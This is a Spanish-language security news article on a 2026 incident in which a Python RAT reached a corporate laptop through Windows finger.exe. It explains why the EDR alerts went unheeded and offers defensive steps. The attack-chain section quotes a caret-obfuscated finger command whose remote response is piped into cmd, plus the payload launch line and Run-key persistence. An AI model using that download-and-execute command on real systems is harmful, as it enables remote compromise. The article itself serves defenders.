Un protocolo de 1977 sigue entregando malware en 2026

Un troyano de acceso remoto (RAT) escrito en Python se relanzaba automáticamente en cada inicio de sesión del portátil de un empleado. El agente de endpoint de la empresa llevaba días alertando del comportamiento. Cada alerta estaba configurada como "solo avisar": marcaba, pero no contenía. Ninguna se atendió.

Lo cuenta Artemis Security en un caso publicado el 15 de julio de 2026: una RAT compilada en .pyc que se ejecutaba desde C:\ProgramData\, con persistencia mediante una clave Run del registro y un segundo módulo desplegado por PowerShell una hora después. Lo realmente revelador no es la cadena, que es técnica conocida, documentada y rastreada desde 2020, sino el mecanismo de entrega: un comando finger ofuscado con caracteres ^ para evadir la detección literal de cadenas de texto.

Finger: el protocolo de 1977 que sigue vivo en tu Windows

El protocolo Finger data de 1977 y responde una sola pregunta, "¿quién está logueado en este host?", sobre el puerto TCP 79. Casi nadie ejecuta un daemon Finger ya, pero finger.exe sigue incluido por defecto en Windows. En 2020, el investigador John Page (hyp3rlinx) demostró que podía convertirse en un descargador: consultas user@host, recibes texto y lo puedes canalizar directo a cmd. El proyecto LOLBAS mantiene la entrada canónica desde entonces.

👥 ¿Quieres ir más allá de la noticia?

En nuestra comunidad discutimos las tendencias, compartimos oportunidades y nos ayudamos entre emprendedores. Sin humo, solo acción.

👥 Unirme a la comunidad

En 2026, la cadena vuelve a estar activa. Según un análisis de Trend Micro del 10 de marzo de 2026, el grupo KongTuke sigue usando exactamente este vector (renombrar finger.exe, ejecutarlo contra una IP externa, canalizar la respuesta a cmd) para desplegar su RAT basada en Python, modeloRAT, sobre WordPress comprometidos y falsas páginas CAPTCHA. Las dos cadenas, la del caso de Artemis y la documentada por Trend Micro, son consistentes en cada eslabón: mismo LOLBin, misma segunda etapa en Python, misma persistencia por clave Run.

La cadena de ataque, paso a paso

El comando detectado en el endpoint del cliente de Artemis fue este:

cmd.exe /K for /f "skip=8 delims=" %T in ('f^i^n^g^e^r adfvjnujihbkj@REDACTED-DELIVERY-DOMAIN') do %T

Dos detalles que vale la pena separar:

for /f "skip=8" es la primitiva que descarta el preámbulo del protocolo: las primeras ocho líneas de la respuesta Finger se ignoran, y cada línea restante se trata como un comando (do %T).
El binario se escribe f^i^n^g^e^r. El circunflejo es el carácter de escape de cmd.exe; al parsear, se descarta y el proceso lanzado es finger. Pero cualquier regla de detección que haga coincidencia literal ve f^i^n^g^e^r y falla. Esta técnica de ofuscación con ^ está documentada desde el trabajo de Daniel Bohannon sobre DOSfuscation.

¿Por qué usar Finger y no HTTP? Porque no es HTTP: los proxies web y la inspección TLS no lo ven. Porque finger.exe es un binario firmado legítimo de Windows, así que pasa cualquier allowlist de aplicaciones. Y porque el puerto 79 es lo bastante raro como para que casi ningún entorno tenga una regla mirándolo, mientras que finger.exe es lo bastante común como para que su ejecución, aislada, parezca anodina.

Dos segundos después de que el comando Finger volviera, el payload ya estaba en ejecución y la persistencia ya estaba plantada:

cmd /c start /b C:\ProgramData\Python\pythonw.exe C:\ProgramData\Python\main.pyc

Aquí, pythonw.exe es el intérprete Python real, firmado por la Python Software Foundation, descargado por el atacante y apuntando a su propio main.pyc compilado. Esa es la jugada de "living off the land": la lógica maliciosa vive en el .pyc y corre dentro de un binario que cualquier servicio de reputación da por limpio. pythonw.exe (en lugar de python.exe) se ejecuta sin ventana de consola, y start /b refuerza el lanzamiento en segundo plano. La clave HKCU\...\Run\Py se añadió al mismo tiempo para que la RAT se relanzara en cada login.

Aproximadamente 59 minutos después de la infección inicial, el main.pyc en ejecución lanzó PowerShell, que soltó un segundo módulo en un directorio de nombre aleatorio:

C:\ProgramData\<random>\pythonw.exe __init__.py

El nombre aleatorio del directorio, lleno de caracteres especiales, es una marca de staging automatizado. El cambio de punto de entrada (de main.pyc a __init__.py) señala un módulo distinto: un segundo implante encima del foothold inicial. La clave de registro hizo su trabajo: la RAT se volvió a ejecutar cuatro veces más al día siguiente, en cada login.

Por qué tu EDR no te salvó

El agente de endpoint no estaba ciego. Su regla conductual para "ejecución sospechosa de Python" se disparó en este host, con decenas de miles de eventos de alerta en la regla a nivel global. El problema era doble.

La regla estaba configurada como alert-only. Marcaba, pero no contenía.

Y era ruidosa. La misma regla se disparó inocentemente en otros dos equipos del entorno (uno con tooling normal de desarrollador, otro con el instalador científico de un proveedor), y esos dos aportaron la mayor parte del volumen. Python ejecutándose en el portátil de un desarrollador es esperado. Python ejecutándose desde C:\ProgramData\ con un ancestro finger no. Pero nada en la regla podía distinguir los unos del otro.

El host realmente comprometido era una aguja en un pajar que la propia regla había construido. Cada alerta era individualmente verdadera y colectivamente ignorada. El gap no estaba en la detección. Estaba en la distancia entre que una alerta se dispare y alguien entienda qué significa.

El resurgimiento que no para de crecer

ClickFix, la familia de campañas que induce al usuario a pegar comandos maliciosos en el cuadro de diálogo "Ejecutar" de Windows (Win+R), no es nueva, pero su escala actual sí. Microsoft Threat Intelligence, en su análisis del 21 de agosto de 2025, documentó que estas campañas afectan a miles de dispositivos empresariales y de usuario cada día a nivel global, entregando payloads que van desde infostealers como Lumma Stealer hasta RATs como Xworm, AsyncRAT, SectopRAT y, ahora, los RATs basados en Python con intérprete firmado.

Y el modelo de negocio está profesionalizado: los kits ClickFix se venden en foros de hacking desde finales de 2024 con precios que oscilan entre 200 y 1.500 dólares al mes, según el mismo informe de Microsoft. Algunos prometen incluso bypass de Microsoft Defender SmartScreen.

El caso de Artemis no descubrió nada nuevo. Confirmó algo peor: que la cadena está activa, automatizada y reproducible, y que las defensas tradicionales no la están parando porque están mirando al sitio equivocado.

¿Qué significa esto para tu startup?

Tres acciones concretas que puedes implementar esta semana, sin importar el stack que corras:

Audita si finger.exe se ejecuta en algún endpoint de tu organización. En un equipo Windows moderno, un cliente Finger ejecutándose tiene esencialmente cero uso legítimo. Si tu EDR permite reglas de comportamiento personalizadas, una regla que alerte sobre cualquier ejecución de finger.exe con @ en la línea de comandos, o sobre cualquier proceso que arranque pythonw.exe desde C:\ProgramData\ bajo un padre cmd/finger/powershell, habría cortado esta cadena en el día uno. Coste de implementación: bajo; volumen de alertas reales: prácticamente cero.
Revisa tus reglas de detección en modo alert-only. Una regla que se dispara y nadie lee es peor que no tener regla: fabrica el pajar en el que se esconderá la aguja. Si una detección es lo bastante fiable como para auto-contener, déjala contener. Si no lo es, necesita correlación y un humano, no un contador silencioso en el dashboard.
Desactiva el cuadro "Ejecutar" (Win+R) en endpoints donde no sea necesario. Es el vector de entrada de toda la familia ClickFix. Una política de grupo con User Configuration > Administrative Templates > Start Menu and Taskbar > Remove Run menu from Start Menu cierra la puerta principal a esta cadena. Microsoft, en su informe de agosto 2025, recomienda exactamente esto como una de las mitigaciones más efectivas.

Conclusión

Una RAT de Python firmada con un certificado legítimo, ejecutándose en un portátil corporativo, relanzándose en cada login, con el EDR alertando y nadie mirando. El protocolo que la entregó tiene casi medio siglo. La cadena de ataque tiene cinco años. Y la organización llevaba dos décadas de lecciones no aplicadas.

Para founders: el coste de esta clase de incidente no es la RAT en sí. Es darse cuenta una semana después, cuando el atacante ya movió lateralmente y exfiltró lo que quiso, de que tu telemetría llevaba días gritándote. La visibilidad sin acción no es defensa; es ruido.